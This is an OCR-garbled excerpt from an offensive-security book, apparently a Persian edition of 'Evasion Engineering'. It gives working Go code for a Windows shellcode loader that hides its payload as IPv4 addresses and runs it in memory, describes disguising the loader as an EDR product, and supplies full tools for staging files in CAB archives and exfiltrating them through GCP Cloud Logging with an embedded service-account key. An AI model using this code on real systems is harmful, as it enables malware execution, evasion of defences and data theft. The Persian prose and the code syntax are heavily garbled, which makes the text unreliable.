.Step 4: Load and execute shellcode in memory (Windows-specific) //

err = executeShellcode(shellcode)

} if err 1= nil
())os.Exit

{

{

func loadFromFile(filePath string) ([Istring, int, error) { 2

data, err := os.ReadFile(filePath)
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}if err 1= nil

return nil, 0, fmt.Errorf("failed to read file: %Vv", err)

{

lines := strings.Split(strings.TrimSpace(string(data)), "\n")
}if len(lines) <1

return nil, 0, fmt.Errorf("file is empty")

{

.Parse the size from the first line //

sizeline := strings.TrimSpace(lines[0])

} if Istrings.HasPrefix(sizeLine, "SIZE:")

return nil, 0, fmt.Errorf("invalid file format: missing SIZE header")
{

sizeStr := strings.TrimPrefix(sizeLine, "SIZE:")
originalSize, err := strconv.Atoi(sizeStr)

}if err I=nil || originalSize <=0

return nil, 0, fmt.Errorf("invalid size format or value: %Vv", err)
{

.Get IP addresses from remaining lines and validate //
ipAddresses := make([]string, 0, len(lines)-1)

} [V ]for _, ip :=range lines

ip = strings.TrimSpace(ip)

}" ==lifip

.continue // Skip empty lines

{
} if lisValidIPv4(ip)
return nil, 0, fmt.Errorf("invalid IPv4 address in file: %s", ip)
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{
ipAddresses = append(ipAddresses, ip)

{
} if len(ipAddresses) ==

return nil, 0, fmt.Errorf("no valid IP addresses found in file")

{

return ipAddresses, originalSize, nil
{

func isValidlPv4(ipStr string) bool {3
ip := net.ParselP(ipStr)

}ifip == nil

return false

{

return ip.To4() != nil

{

func deobfuscateFromIPv4(ipAddresses []string, originalSize int) ([Jbyte, error){ 4
result := make([]byte, 0, len(ipAddresses)*4)

} for _, ipStr := range ipAddresses

ipStr = strings.TrimSpace(ipStr)

" ==ifipStr

continue // Skip empty lines (already validated)

{
ip := net.ParselP(ipStr)

}ifip == nil
return nil, fmt.Errorf("invalid IP address: %s", ipStr)

{
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Convert to IPv4 (4 bytes) //

()ipv4 :=ip.To4

} if ipv4 == nil

return nil, fmt.Errorf("not a valid IPv4 address: %s", ipStr)

{

result = append(result, ipv4...)

{

.Validate and trim to original size //

} if len(result) < originalSize

,"return nil, fmt.Errorf("deobfuscated data too short: got %d bytes, expected %d
(len(result), originalSize

{

} if len(result) > originalSize

result = result[:originalSize]

{

return result, nil
{

func decompressData(data []byte) ([]byte, error) {5
reader, err := gzip.NewReader(bytes.NewReader(data))
}if err 1= nil

return nil, fmt.Errorf("failed to create gzip reader: %v", err)
{

()defer reader.Close

var buf bytes.Buffer

err = buf.ReadFrom(reader)

}if err 1= nil
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return nil, fmt.Errorf("failed to decompress data: %Vv", err)

{

return buf.Bytes(), nil

{

func executeShellcode(shellcode []byte) error { 6
} if len(shellcode) ==

return fmt.Errorf("shellcode is empty")

{

.Load Windows API functions //

kernel32, err := syscall.LoadDLL("kernel32.dll")

}if err 1= nil

return fmt.Errorf("failed to load kernel32.dlL: %v", err)

{
()defer kernel32.Release

virtualAlloc, err := kernel32.FindProc("VirtualAlloc")
}if err 1= nil
return fmt.Errorf("failed to find VirtualAlloc: %v", err)

{

virtualProtect, err := kernel32.FindProc("VirtualProtect")
}if err 1= nil
return fmt.Errorf("failed to find VirtualProtect: %v", err)

{

createThread, err := kernel32.FindProc("CreateThread")
}if err 1= nil
return fmt.Errorf("failed to find CreateThread: %v", err)

{
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waitForSingleObject, err := kernel32.FindProc("WaitForSingleObject")
}if err 1= nil

return fmt.Errorf("failed to find WaitForSingleObject: %v", err)

{

virtualFree, err := kernel32.FindProc("VirtualFree")

}if err 1= nil

return fmt.Errorf("failed to find VirtualFree: %v", err)

{

.Allocate memory with read/write permissions //
) const

MEM_COMMIT = 0x1000

MEM_RESERVE = 0x2000

PAGE_READWRITE = 0x04
PAGE_EXECUTE_READWRITE = 0x40
MEM_RELEASE = 0x8000

INFINITE = OXFFFFFFFF

(

)addr, _, err :=virtualAlloc.Call

.Let system choose address // ,*

uintptr(len(shellcode)), // Size of shellcode
.MEM_COMMIT|MEM_RESERVE, // Commit and reserve memory

PAGE_READWRITE, // Initial permissions

(
}if addr ==

return fmt.Errorf("VirtualAlloc failed: %v", err)

{
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} ()defer func

.Free allocated memory //
virtualFree.Call(addr, 0, MEM_RELEASE) = _, ,
X

.Copy shellcode to allocated memory //

} fori, b :=range shellcode
(*byte)(unsafe.Pointer(addr + uintptr(i))) = b*
{

.Change memory protection to executable //
var oldProtect uint32

)ret, _, err :=virtualProtect.Call

,addr

,uintptr(len(shellcode))
,PAGE_EXECUTE_READWRITE

,uintptr(unsafe.Pointer(&oldProtect))

(

}ifret==
return fmt.Errorf("VirtualProtect failed: %v", err)

{

.Create a new thread to execute the shellcode //
JthreadHandle, _, err := createThread.Call
Default security attributes // ,

Default stack size // ,+

.addr, // Start address (shellcode)

No parameters // ,*

Creation flags (run immediately) // ,+
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Thread ID (not needed) // ,*

(
} if threadHandle ==

return fmt.Errorf("CreateThread failed: %v", err)

{
defer syscall.CloseHandle(syscall.Handle(threadHandle))

.Wait for the thread to complete //
)err = waitForSingleObject.Call , _,
,threadHandle

INFINITE, // Wait indefinitely

(

} ()if err I=nil && err != syscall.Errno

return fmt.Errorf("WaitForSingleObject failed: %v", err)

{

return nil

{

IPv4 s2is )X 3ay sl ) shellcode @)l (F-Y o yed

runtime.GOOS ) 2 i« | sl Windows 5, 4abi s 454 2li b main b «Jsane s 1ol 5 5 &l 51
D) S sSin & nd Cal 02l ) ) (52ics lpgsa W yre) lad had le £ 5T S JBlas 48 5 ("I= "windows
) @l Jlen eam S (5 8 5sla (S S fia o 5A il ) B asSie z A (V)08 Exit b la g Watha ol a0 a4l
! » ()deobfuscateFromIPv4 s luagae Jid 2153 5)  ()loadFromFile :2iS e (s 8 a5
«ala shellcode il o gl d8 0 S 5L ) ()JdecompressData <P ) saded yi8 (5 il 03l (5 5l 3b

abils o shellcode ¢! sl ¢! x ()executeShellcode s

S oo apni Jaghad g ) ) Qa8 Y 2l A e adadla jo by B S Ol sieas 1) IPV4 Jié JS ()loadFromFile U
NS e Ay S pmaaa 230 o 4 ()streonv.Atoi Gk 31 O a1y Jgl b 3 "SIZEIXXXX" )
()isValidIPv4 S s 3 aalii wl L1 IP 8 @i 2 30 IPv4 (sl S sla b alaS ja gany haghad
Lsha 5 i€ e 0aliinl [P sladis ) oaiujlie) 61 To4d() Go s ()net.ParselP gl i ) 4S xS oa (oaiu e
S0 eaila 8 e 1y oadion 58 Jld o 313 5 [P o ygd ()loadFromFile «Cud se <) sua 3 ¥ 280 3, ), Ja
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G ()Tod L alS a5 S H SSLIP ) . ¢ 2Sa g S ) b s ()deobfuscateFromIPv4 cax
originalSize 4 1) 4agi ali (a3 e Al ial il AL SGan 1 O 5 23S 428 [PVA Gl £ e S
a5 il o s s b b eala 81 aS Cada |y (5138 Gy aul 53 sk 3 2 Sil ) i e (0 S 4 Wy e

e ad g Und (S cadily s

«an .« gzip.NewReader <o )3 1) eaded )88 slaculy a6 0 aS e L), )b ()JdecompressData U
()defer reader.Close g .2ils K e 1 15 Lal shellcode s il saoe il Sy 53 ) 023 8 ey (a5
S e Gpanzi 2aa FH latha &1 i) 6 5lasy

L1 a8 ol Windows GWAPI ) salit il L1y adadla 281 5 (53, 35 ()executeShellcode «ule 52
«CreateThread «VirtualProtect «VirtualAlloc ) » &5 sl _Re L3l Ja 5 kernel32.dll L 1 X L
4 gladadls VirtualAlloc .2 = & 5 4% syscall Go 4w 2,k ) VirtualFree s <WaitForSingleObject
(s A ga Garaadd iy e e SCIAT a0 o 2 PAGE_READWRITE L shellcode sl
|y adadla blea VirtualProtect . sise 48l garads ol 4 Jiws G seads | ) b s unsafe.Pointer
5k Gl 1) sl sl Jsae 5 S | pal Qi 15 4ali U 33 e i PAGE_EXECUTE_READWRITE 4
O 5 28 e 5 5 W yial )b 5% shellcode (Y 2 s 455 ) S5 CreateThread e S e o a6 6l
G sl b s o(Culgin Cilea) 2 Ga 350 wwe 413y (b U WaitForSingleObject xS | sal 1,581,
LAy e |y Ay 4ty g a1 1 adadls sasi S sa

ri€ 1l ) et | S Guns i€ S G cpile 40 ) [PV4 G gd 5 ol al Qi
C:\> app.exe ipv4.txt

aS Wil ) elia (sl A€ S 685 (0 g g e Jalla L1 (o il e el sals a6l Sg dadé U o) 4S s o
Olsiedn )y 50 B S eyl e GUI S il 5 e eiS e (g2iT oy [P e d) o jed S 2 1) shellcode
EDR 2l oa) dild oSG ecusd aaionls Gl YoV JS0i 5048 ) shasjlan ol aSud Sl oSG aiila g 5 el la

_A:\ASQL@_'Eam"“U&

Figure 7-2: Hiding the loader and payload as a well-known EDR

a2 i EDR <Su 0l siedy L 5 5250 0o S olely Y-V U5
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Jas ) Encode ¢shellcode z! i) s) » Ex2Shell ;uled S JalS | ) oS 55 saiai K (33 S el b
OV S Sl e 4 (sl et 0 S0 5 Gl adaila )0 Ol slal ) Loader s« —a 03l 45 () 02 S
S )y S e 4SS gl 4 ladlae 4SS and ST gla g

D S ealiiud 353 e B i lilee 4y S (51 (o i 1l i dlad (5w GO ) Lasd edmamd o) o
Jé o 0 ) shellcode a2 U1 <Encode .28« J:as shellcode 4 1) s )b 2 «<Ex2Shell «Js
Culgd 50 S e (AL S IPY4 Gl ) ) i s jed S A 4S 02 Ss Slpgae 503y i
DDA 1, O ey Db 5 S ) adsdla g |y sl e Qi o aae o la) L 4 Loader

S ) padlds

FaBS Gl 4 Wi cnl b 1D 253 2,80 Dl [ caiiua (535 1S SllS i 4S ) shagles Ll 5l ol 4S s

ST (J.uS 4zal e Donut Glatie 4 Gl s 6\).}) i€ adls) 354 sadad g3 shellcode 4 s sid ‘_ﬁu)ﬁ] .
AL LI (e Saa i) 2 e 2 ) Gl s il 4S 23l atdly Shla 4 (Ja

s s Ll L [PVB U i [T S sifin 3 il 31 1PVA slads [PVB 31 o3l U 1 (s Sapisa o
LAY e Cud J\ 4ulaa A& | Pv4 Lguu.u)j J\ Dl \J C'_u.n)ﬂ_': IPv6 Lguu.uj.li i}{LaﬁA\

3 & 3 sadali s I L sy dasd (il 50 O i (e 3 ) Le i€ (i Sllee Gl 1) ol
2l ) Gas GUI S0 il 5ie (inas 2 S0 B 48 ) shilad  agles S o0ldi il 353 shellcode Oised
S ) ol

S a3 (A5 (RISl 0 Caladlae Ko mhan (K4S (S adlial | ) 3 6a S sl il s e

A&.\SJ\SJP\J‘)\SJJ;U%\ASeLGA\JPCZ&_IPJI%JJ\JLAJ\}\L)&\'
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STAGING AND EXFILTRATING
DATA COVERTLY

02 L.':—’Lé—“ C\J;.Lu\ 9 LSJL\.&‘\_IM A

la )l 5 2 lalin) LA US U (i i ) shey (o) GRS () A0 () 00l (5 ludinaa K
i 5 )1Rcade 1) WEDR W)l ool 8 sty g5 e G Sl L 3l e 2V 5 zLib ke (5 )l i

2P zY. Lzip, cdils e e Hha sl Kl o sicds | Ll SIEM A4S 23S e sl Sl sias

O 0 Asad i Ol giedy el o 3l L () s (slAdiE 5 o5 Yl 138 ) ) slaliae) ¢ sana e a5 o
Microsoft dié 3l 5 cuij )50 oaddi sla K Gl 51U S aal 53 dla) Go 2 (ol ) e ¢Jusd
Al bt o (Jaad by o 2 saliinl Sles Jal ) GCP Cloud Logging 5 s lwaisa ) » CAB

S A sl D (gl 38 0 S Leb 4o 5 e S Ll llee (sliadl 4S iy aa) 53 2l S ) jadl
ke SOC U )

\JudﬁMs%wdﬂhd\ﬁdﬁ)d\)Jhdﬁ&u\ J\).}\ ugd.\;dnhuk“_\;hum\};d‘aﬂu;\\ JJAS‘;;a\J
Jael) gl (WLOLBIN s 455 slady 23S o« a1 iwl GCP Cloud Logging 4 1) soub 5 ¢S e Jlee

S0 Ok el g gl Al 1 et Jgene 23g8 805k e s 8 b (5 4S 1S e S i 1) (eSS
2K ) A alagl LS s 3l 3k 5 3500 (s Sk L1

& Jlsdisua

LY pane Ll Bl 50 e DLP Sl la i 0S8 sl sa g 5 58 (5 ludinna 45 Glad S5 o5 i L la

Cinaila Ly 213 e 8 Caaa |y MIME ¢80 b e sla laciuls cpali (i (slani sy 48 3 55 el el
CSna Lyl dad 4S— 23S e 38 el 393 S anll a5 o5 )0 e o e iy e ) GRanSeus ol

i 5 ey Gl S g9 ) ‘53‘5_).\.1‘ S pandd0 ld caiaa il 8 SJ_).\ cdld Gl 1y 1/O il
_Jj)\f\_j ) alia o il b Il sia

2l sa (5 Jluws 138 () 9 Microsoft cabinet (CAB) Jié Gl ) saldind U (5 jludinia Jaol ) o e d el
L cabinet » ,a JldTe,0v0 s L CAB Jild aia by 50 a1 K50 s did aan e o jlal lld ol cadls
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Ol GV Wl e g on Alaiidy 58 Jlimas sl oal S 5 (5 luea i 1S 0 CAB Jié 8 52 GBY ol il
il )i Sl ol 4 ol8iila 3l

Ol o 5 e pdige 4 Rl )3 2S e JUdl ) St (sbad 4S sl e SIS O sicds Y sase CAB sladilé
alayl i ) salitl Uy mmaa Jib (S 50 (5 Jludinaa 23 50 438 8 52035 Windows slagivs 50 L sec
Dhias | lagl (alise G (slao il slagl) 23 55 4dlial e dile As 45 (3 S ol 5 oS5 yial (5 1Kl
g S Sl (Sl adali 55515 )0 EDR 4S (S xilu 0 Windows b by st b dai e

A0S ) 530 Jay auS adlial (L e phad el 45 23 e 4S il ) iy g (5 Slued dd sladid ) 4 o ls )

C\)ilu:\

3\.35 45) GCP Cloud Logg|ng )\ salainl L I Lﬁ‘)&:’_}“) Lol |l G\Jil.u\ I3SEN G IRTTY PEQRIN 09 BB
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main()
Parse flags: -mode, -input, -output

.............. gy
'

mode: "create” mode: "extract”
createCabs() extractCabs()
Collect files and disiribute. Find CAB files to process.

createSingleCab()
Write CAB header and files.

extractSingleCab()
Read CAB and extract files.

Figure 8-1: The high-level function workflow for the staging client [
5 Shudinna S (5 YU phan A5 S s S 1V-A JSS

ol Gdla p ) ) e qjlg ) » «GoLogExfil illaa z oAt )l So 4 g plinia ) ) Gala )l
ol oad pala LIS YA JSCE Ha 4SS Hgharlea oCudily Al A L A Hiea

main()

v

getServiceAccount]SON() %

'

|
|
==
|
|
|

'

logging.NewClient()

'

logger. Log()
(metadata)

logger. Log()
(chunks)

Figure 8-2: The high-level function
workflow for the exfiliration client
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main()

.

| |
oo |
[
|
|

v

logadmin.NewClient()

'

adminClient.Entries()
(iterator)

'

[ Process metadata and chunks

hex.DecodeString()
and write file

Figure 8-3: The high-level workflow
for the retrieval client
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© Service account details

Service
s ]

soley name 1or Pug swrvice &

Service scooumt 1D ¢
goexfdiog sa X O

Emal address goesiog sa@utec lab lam gservoeaccout com )

Semnce account descrptiorn

Aot they service socoun will &

CREATE AND CONTINGE

Grant this service account access to %o]ect
(optional)

€ Grant users access to this service account (optional)

DONE CANCEL

Figure 8-4: The Create Service Account options in the Google
Cloud console
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Google Cloud Js«=S ,» Create Service Account cslady X 1£-A IS

Glua g 08 S Create and Continue 85 ceW\ B! o JRTELY By Gl s sala L& 4S J}Lum [P

S e AN ) 2R g g

Uae ) 555y A (o i (g pa ol 45 U 2uad aila) (€A JSCG 53 oddoals (LI3) ¥ Al je 40 4S 25 (iedaa camy
Lskt € SIS Done 5 Continue o w5 «iS 4dlal | Log Writer s Log Viewer i 5«
S Adlial 55 gl 53 (o sl (51 | Uusm Slas principal s S gaiea | [AM 2 sioe 0 Sl
JSE 048 jsholes (i€ Jiaie Gus e Glus 40 ) ) Logs Wrriter s Logs Viewer sl ids ab «& ) ga o )2
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Edit access to "xtec-lab”

Principal @ Project

gologerfiliprtec-iab sam gaecviceaccount com r1ec lak

Assign roles

Rotes are composed of sets of permesssons and determine what the principal can do
with this resource. Le ,

Role 1AM condition (opticnal] @

Logs Viewer o = ADD 1AM CONDITION .

with private

Siole 1AM condition (optionsd) @
[ Logs Writer - ] + ADD 1AM CONDITION

Access 10 write b0gs

+ ADD ANOTHER ROLE

TESTCHANGES (D CANCEL

Figure 8-5: Binding the IAM roles for the service account

s Slaa ) [AM sl i Juail o-A J8

4 ) shples i€ alag) 15 JSON 2K i an £ 5l Service Account 4sia 43 b Yla 1S UK Save 5,
S g ) g ey p Keys o 4 eiS QlAS Cuw jed )3 ) ) 368 (g Clus Gl 2% Cana 6 € Jiad 2
.S Jlawl ) Create New Key JSON Create ¢l <2 3 Add Key

32 Baseb4 )X ) ealiind b Lasivee | o) Led o€ a5l 5l oo dad | K ol il i e cansl 4l ol 4
Ol O 4323 (s a8 el o8iule 3T ol 5) 0 1) Base64 Le S anl i s 5kl gl s b sladis

a5 gea 3 IR Ja ) ladl sy e b (o5l (580 ey ) i (g s 1 S 28l 5 e i 8 o
R

CAB s )bstisia ) 3l (fidla

el e i ) 3l a aiile | Caat GA (il 03ld ) Al g (s S i Saluds CAB Jilé oSG Sal

CAB IS olail (gl ol (358in alai 5 8 508 sndil (500 WS JiE a8l (5,8 Sn) Wadl 4uulas
1, blob s sadis A 2aatia slailé 4S (1S« 02l CFData s <CFFolder <CFHeader s jiala )
R s rinad 5 (a5 il ks Jald o Jluse GO 2 1) CAB Goletinua )l 5l 1A Cans jgd 35S0 a3
.CAB o ia ol n yidy Gl ja L Microsoft (oem ) Cilaiiue 4

--snip--
CAB-specific constants 1 //
.MSCF is the magic number that identifies a Microsoft cabinet file //
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It's stored in reverse order (FSCM) due to little-endian byte order //

) const

MSCF_SIGNATURE = 0x4643534D // "MSCF" in reverse (little-endian)
CAB_HEADER_SIZE = 36 // Size of the CAB header structure
FOLDER_ENTRY_SIZE = 8 // Size of a folder entry structure
NO_COMPRESSION = 0// Value indicating no compression is used

MAX_FILES = 14 // Maximum files per cabinet

(

.CabHeader represents the binary structure of a CAB file header //
.The order and size of fields are critical for compatibility //
} type CabHeader struct

Signature uint32 // Must be MSCF_SIGNATURE

Reserved1 uint32 // Reserved field, must be 0

CBCabinet uint32 // Total size of cabinet file in bytes
Reserved2 uint32 // Reserved field, must be 0

COFFFiles uint32 // Offset of first file data

Reserved3 uint32 // Reserved field, must be 0
VersionMinor uint8 // CAB format version (usually 3)
VersionMajor uint8 // CAB format version (usually 1)
CFolders uint16 // Number of folders (we use 1)

CFiles uint16 // Number of files in cabinet

Flags uint16 // Cabinet flags (we use 0)

SetID uint16 // Cabinet set ID (we use 0)

ICabinet uint16 // Cabinet number in set (we use 0)

{

.CFFolder represents a folder entry in the CAB format //

Ol Gl sl sala
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.Even with no compression, the CAB format requires at least one folder entry //
} type CFFolder struct

COFFCabStart uint32 // Offset where this folder's files begin
CCFData uint16 // Number of data blocks (1 for uncompressed)
TypeCompress uint16 // Compression type (0 for none)

{

} func createCabs(inputPath, outputDir string) error

.Collect all files to process //

var files []string

filelnfo, err := 0s.Stat(inputPath)

}if err 1= nil

return fmt.Errorf("error accessing input path: %v", err)

{

--Ship--

.Initialize CAB header with required values //

.Most fields are 0, but certain fields must be set for a valid CAB //
theader := CabHeader

,Signature: MSCF_SIGNATURE

,VersionMinor: 3

,VersionMajor: 1

.CFolders: 1, // We always use one folder

,CFiles: uint16(len(files))

.First file data starts after header and folder entry //

,COFFFiles: CAB_HEADER_SIZE + FOLDER_ENTRY_SIZE

{

.Write initial header (size will be updated later) //
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} if err := binary.Write(cab, binary.LittleEndian, &header); err != nil

return err

{

.Write required folder entry //

}older := CFFolder

,COFFCabStart: header.COFFFiles

CCFData: 1, // One data block for uncompressed files

,TypeCompress: NO_COMPRESSION
{

} if err := binary.Write(cab, binary.LittleEndian, &folder); err != nil

return err

{

Track current position for final size calculation. 2 //
currentOffset := int64(folder. COFFCabStart)

.Write each file with its metadata //

} for _, filePath := range files

data, err := os.ReadFile(filePath)

}if err 1= nil
return err
{

.Write filename length and name //

.Each file entry starts with a 2-byte length followed by the name //
fileName := filepath.Base(filePath)

namelen := uint16(len(fileName))

} if err := binary.Write(cab, binary.LittleEndian, nameLen); err != nil

return err

200
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{

}if _, err := cab.WriteString(fileName); err != nil

return err

{

.Write file size and contents //

fileSize := uint32(len(data))

} if err := binary.Write(cab, binary.LittleEndian, fileSize); err != nil
return err

{

}if _, err:= cab.Write(data); err != nil
return err

{

Update offset: 2 bytes for name length + name length + 4 bytes for file size + file data //
currentOffset +=int64(2 + len(fileName) + 4 + len(data)) 3

{

.Update header with final cabinet size and rewrite it //

header.CBCabinet = uint32(currentOffset)

(+ ,+)cab.Seek

return binary.Write(cab, binary.LittleEndian, &header)

{

} func extractCabs(inputPath, outputDir string) error

fileInfo, err := 0s.Stat(inputPath)

}if err 1= nil
return err
{

} ()if fileInfo.lsDir
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.Extract all CAB files in directory //

files, err := os.ReadDir(inputPath)

}if err 1= nil
return err
{

} for _, file := range files

} if strings.HasSuffix(strings.ToLower(file.Name()), ".cab")

} if err := extractSingleCab(filepath.Join(inputPath, file.Name()), outputDir); err != nil
return err

{

{

{

return nil

{

return extractSingleCab(inputPath, outputDir)
{

} func extractSingleCab(cabPath, outputDir string) error
cab, err := 0s.0Open(cabPath)

}if err 1= nil

return err

{

()defer cab.Close

--Ship--

.Read and verify CAB header //

Main function //

} ()func main
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.Parse command line flags //

mode := flag.String("mode", "create", "Mode: create or extract")

Apsec.ir

input :=flag.String("input”, ", "Input file/directory for create, or CAB file for extract")

output :=flag.String("output”, ".", "Output directory")
()flag.Parse

} " ==if *input

log.Fatal("Please specify input path")

{

.Initialize random seed for file distribution //
rand.Seed(time.Now().UnixNano())

.Execute requested operation //

} switch *mode

:"case "create

} if err := createCabs(*input, *output); err != nil
log.Fatal(err)

{

:"case "extract

} if err := extractCabs(*input, *output); err != nil
log.Fatal(err)

{

:default

log.Fatal("Invalid mode. Use 'create’ or 'extract")

{
{

GoStageCab s jlutisua ) il 1) -A Caw yed
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go build gostagecab.go %

/. gostagecab -mode create -input /path/to/folder -output %

gostagecab -mode extract -input /path/to/cab/files -output ./extracted %

sl e sala LS T-A JSE 0 s g A

Figure 8-6: Creating a CAB file and exiracting the archive with GoStageCab
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cat service-account.json | base64 -w 0 > encoded-sa.txt %
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Exfil client //
package main

) import

"context”
encoding/base64""
"encoding/hex”
"flag”

"fmt"”

1

"log
"os"
"strconv”
"strings”
"time"

"cloud.google.com/go/logging”

(

Configuration constants //
) const
PROJECT_ID = "YOUR-PROJECT-ID" 1

chunkSize = 250000

(

Add your Base64-encoded service account key here. 2 //
" = const encodedServiceAccount

.PASTE YOUR BASE64-ENCODED SERVICE ACCOUNT JSON HERE //

} func getServiceAccountJSON() (string, error)

decoded, err := base64.StdEncoding.DecodeString(encodedServiceAccount)
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}if err 1= nil
return "", fmt.Errorf("failed to decode service account: %Vv", err)

{

return string(decoded), nil

{

} func readFiletoHex(file_name string) string

file, err := 0s.0Open(file_name)

}if err 1= nil

log.Fatalf("Ensure you have specified a valid filepath %Vv", err)
{

()defer file.Close

()fileInfo, err :=file.Stat

}if err 1= nil
panic(err)
{

()fileSize := fileInfo.Size
fileData := make([]byte, fileSize)

err = file.Read(fileData)

}if err 1= nil
panic(err)
{

hexData := hex.EncodeToString(fileData)

return hexData

{

} ()func main

exfil_file := flag.String("file", "", "Path to file for exfiltration")
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()flag.Parse

} " == if *exfil_file

log.Fatal("Please provide a file path using --file")

{

.Create temporary service account file //
()svcJSON, err := getServiceAccount)SON

}if err 1= nil

log.Fatalf("Failed to get service account: %v", err)
{

tmpFile, err := 0s.CreateTemp("", "svc-*.json")

}if err 1= nil

log.Fatalf("Failed to create temp file: %Vv", err)

{

defer os.Remove(tmpFile.Name())

}if _, err := tmpFile.WriteString(svcJSON); err != nil
log.Fatalf("Failed to write service account: %v", err)
{

()tmpFile.Close
0s.Setenv("GOOGLE_APPLICATION_CREDENTIALS", tmpFile.Name())
()ctx := context.Background

client, err := logging.NewClient(ctx, PROJECT_ID)
}if err I=nil

log.Fatalf("Failed to create client: %v", err)

{

()defer client.Close

fileParts := strings.Split(*exfil_file, "/")
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fileName := fileParts[len(fileParts)-1]

()timestamp := time.Now().Unix

exfillD := fmt.Sprintf("%s-%d", fileName, timestamp)
logName := fmt.Sprintf("exfil-%s", exfillD)

logger := client.Logger(logName)

hexData := readFiletoHex(*exfil_file)

hexDatalen :=len(hexData)

chunksRemaining := (hexDataLen + chunkSize - 1) / chunkSize
totalChunks := chunksRemaining

H}metadataEntry := map[stringlinterface

Sfilename": fileName"

,total_chunks": totalChunks”

,2timestamp": timestamp”

,total_size": hexDatalLen"

{

Hogger.Log(logging.Entry

,Payload: metadataEntry
,Severity: logging.Info
}Labels: map[string]string
,"type": "metadata”
,exfil_id": exfillD"

{

({

} fori:=0; i< hexDatalLen; i += chunkSize
chunkEnd :=i + chunkSize
} if chunkEnd > hexDatalLen
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chunkEnd = hexDatalen

{

chunk := hexData[i:chunkEnd]
chunkNum :=i/chunkSize + 1
Hogger.Log(logging.Entry
,Payload: chunk

,Severity: logging.Info
}Labels: map[string]string

n,n

,"type": "chunk”

,chunk-number": strconv.ltoa(chunkNum)”

,total-chunks": strconv.ltoa(totalChunks)”

,exfil_id": exfillD"

A{
(

--chunksRemaining

Apsec.ir

log.Printf("Chunk %d/%d: %d bytes processed\n", chunkNum, totalChunks, len(chunk)/2)

{

fmt.Printf("\n=== File Exfiltration Complete
fmt.Printf("To retrieve this file, use:\n")
fmt.Printf("./gologretrieve --exfil-id %s\n", exfilID)

fmt‘Printf("===============================

{

GoLogExfil L Cloud Logging 42 2540 5 ¢ 5a (s )13 ja ) clahld (o S aS3SE 1Y -A sy

0152538 s2ds I e ) JSON 5 ) 28 i 355 GCP 5550 4ulil 43 1) PROJECT_ID <l 48 358 (yichas
KBYO + L8 i Lo el i€ aadati | 5 485 o )il (g HLA) &y gomdy i) 500 Y € IR gla X e (8
245« 4ua 8 GCP Cloud Logging o )lai) slacuy sasa p3 paile 5l 0 )

209

Ol Gl sl sala



Evasion Engineering (U 8 (i)
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claasi 4 5 il 3 e | Led CAB sladild 4S 23U GCP Cloud Logging sabe CindIS S ol 4
S a p il 838 GCP 0350 40 Led g o s IS 51 oaliiand b 5 23S oa (I8 Jay K 43 o2 I8 Ha )

i L IS s

dal e glea 1K (53l AP GJ\.:Q‘\..L:&JMG“)“JL;\).\ 1) Oy Gl sladal jlie ) Al cc\)';lm\ X avila
Ol e b b 5 A€ Jliy JelS ) 38 PROJECT_ID s sy 35 s 5 2 6 1 sla 51y 1y 8 (iay
5 S e e 4SS b jlad (bl i) Léu‘ A€ e gada L&u‘ exfil 4wl L), adsa (VA Cuw jed ja sadeala

.Retrieve client //
package main

) import

"context”
encoding/base64""
"encoding/hex”
"flag”

”fmt"

"strings”

"cloud.google.com/go/logging/logadmin”
"google.golang.org/api/iterator”

"structpb "google.golang.org/protobuf/types/known/structpb

(

Configuration constants //

) const

"PROJECT_ID ="YOUR-PROJECT-ID

(

.Add your Base64-encoded service account key here //

210

WS e s bk 1 Jia

Ol Gl sl sala



Evasion Engineering (U8 i) Apsec.ir

" = const encodedServiceAccount

.PASTE YOUR BASE64-ENCODED SERVICE ACCOUNT JSON HERE //

} func getServiceAccountJSON() (string, error)

decoded, err := base64.StdEncoding.DecodeString(encodedServiceAccount)
}if err 1= nil

return "', fmt.Errorf("failed to decode service account: %Vv", err)

{

return string(decoded), nil

{

} (func main

exfil_id :=flag.String("exfil-id", "", "Exfil ID to retrieve (filename-timestamp)") 1
output_dir :=flag.String("output-dir", ".", "Directory to save retrieved files")
()flag.Parse

} " ==if *exfil_id

log.Fatal("Please provide an exfil ID using --exfil-id")

{

.Use temporary service account //

()svcJSON, err := getServiceAccount)SON

}if err 1= nil

log.Fatalf("Failed to get service account: %v", err)

{

tmpFile, err := 0s.CreateTemp("", "svc-*.json")

}if err 1= nil

log.Fatalf("Failed to create temp file: %Vv", err)

{
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defer os.Remove(tmpFile.Name())
}if _, err := tmpFile.WriteString(svcJSON); err != nil

log.Fatalf("Failed to write service account: %v", err)

{
()tmpFile.Close

0s.Setenv("GOOGLE_APPLICATION_CREDENTIALS", tmpFile.Name())
()ctx := context.Background

adminClient, err := logadmin.NewClient(ctx, PROJECT_ID)

}if err 1= nil

log.Fatalf("Failed to create admin client: %v", err)

{

()defer adminClient.Close

{}var metadata map[stringlinterface

var chunks []string

chunkMap := make(map[int]string)

Apsec.ir

filter := fmt.Sprintf(" resource.type="project" labels.exfil_id="%s"", *exfil_id)

,iter := adminClient.Entries(ctx
,logadmin.Filter(filter)

,()logadmin.NewestFirst

(

entriesFound :=0

} for

()entry, err := iter.Next
} if err == iterator.Done

break

{

212
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}if err 1= nil

log.Fatalf("Error reading logs: %V", err)

{

++entriesFound

labels := entry.Labels

log.Printf("Found entry with type: %s", labels["type"])
} "if labels["type"] == "metadata

} switch payload := entry.Payload.(type)

:{}case map[stringlinterface

metadata = payload

.case *structpb.Struct

()metadata = payload.AsMap

:default

log.Printf("Unexpected metadata payload type: %T", entry.Payload)
continue

{

log.Printf("Found metadata: %+v", metadata)
continue

{

if labels["type"] == "chunk" { 2

chunkNum :=0

fmt.Sscanf(labels["chunk-number"], "%d", &chunkNum)
var chunkData string

} switch payload := entry.Payload.(type)

.case string

chunkData = payload

213
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:case *structpb.Value
()chunkData = payload.GetStringValue

:default

log.Printf("Unexpected chunk payload type: %T", entry.Payload)

continue

{

chunkMap[chunkNum] = chunkData
log.Printf("Found chunk %d", chunkNum)
{

{

} if entriesFound ==

log.Fatalf("No entries found for exfil ID: %s", *exfil_id)
{

} if metadata == nil

log.Fatal("No metadata found for specified exfil ID")

{

totalChunks := int(metadata["total_chunks"].(float64))
chunks = make([]string, totalChunks)

} ++fori:=1;i<=totalChunks; i

} if chunk, ok := chunkMapli]; ok

chunks[i-1] = chunk

}else {

log.Fatalf("Missing chunk %d", i)

{

{

combined := strings.Join(chunks, ")

214
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decoded, err := hex.DecodeString(combined)

}if err 1= nil

log.Fatalf("Failed to decode hex data: %V", err)

{

filename := metadata["filename"].(string)

outputPath := fmt.Sprintf("%s/%s", *output_dir, filename)

} if err := 0s.WriteFile(outputPath, decoded, 0644); err != nil
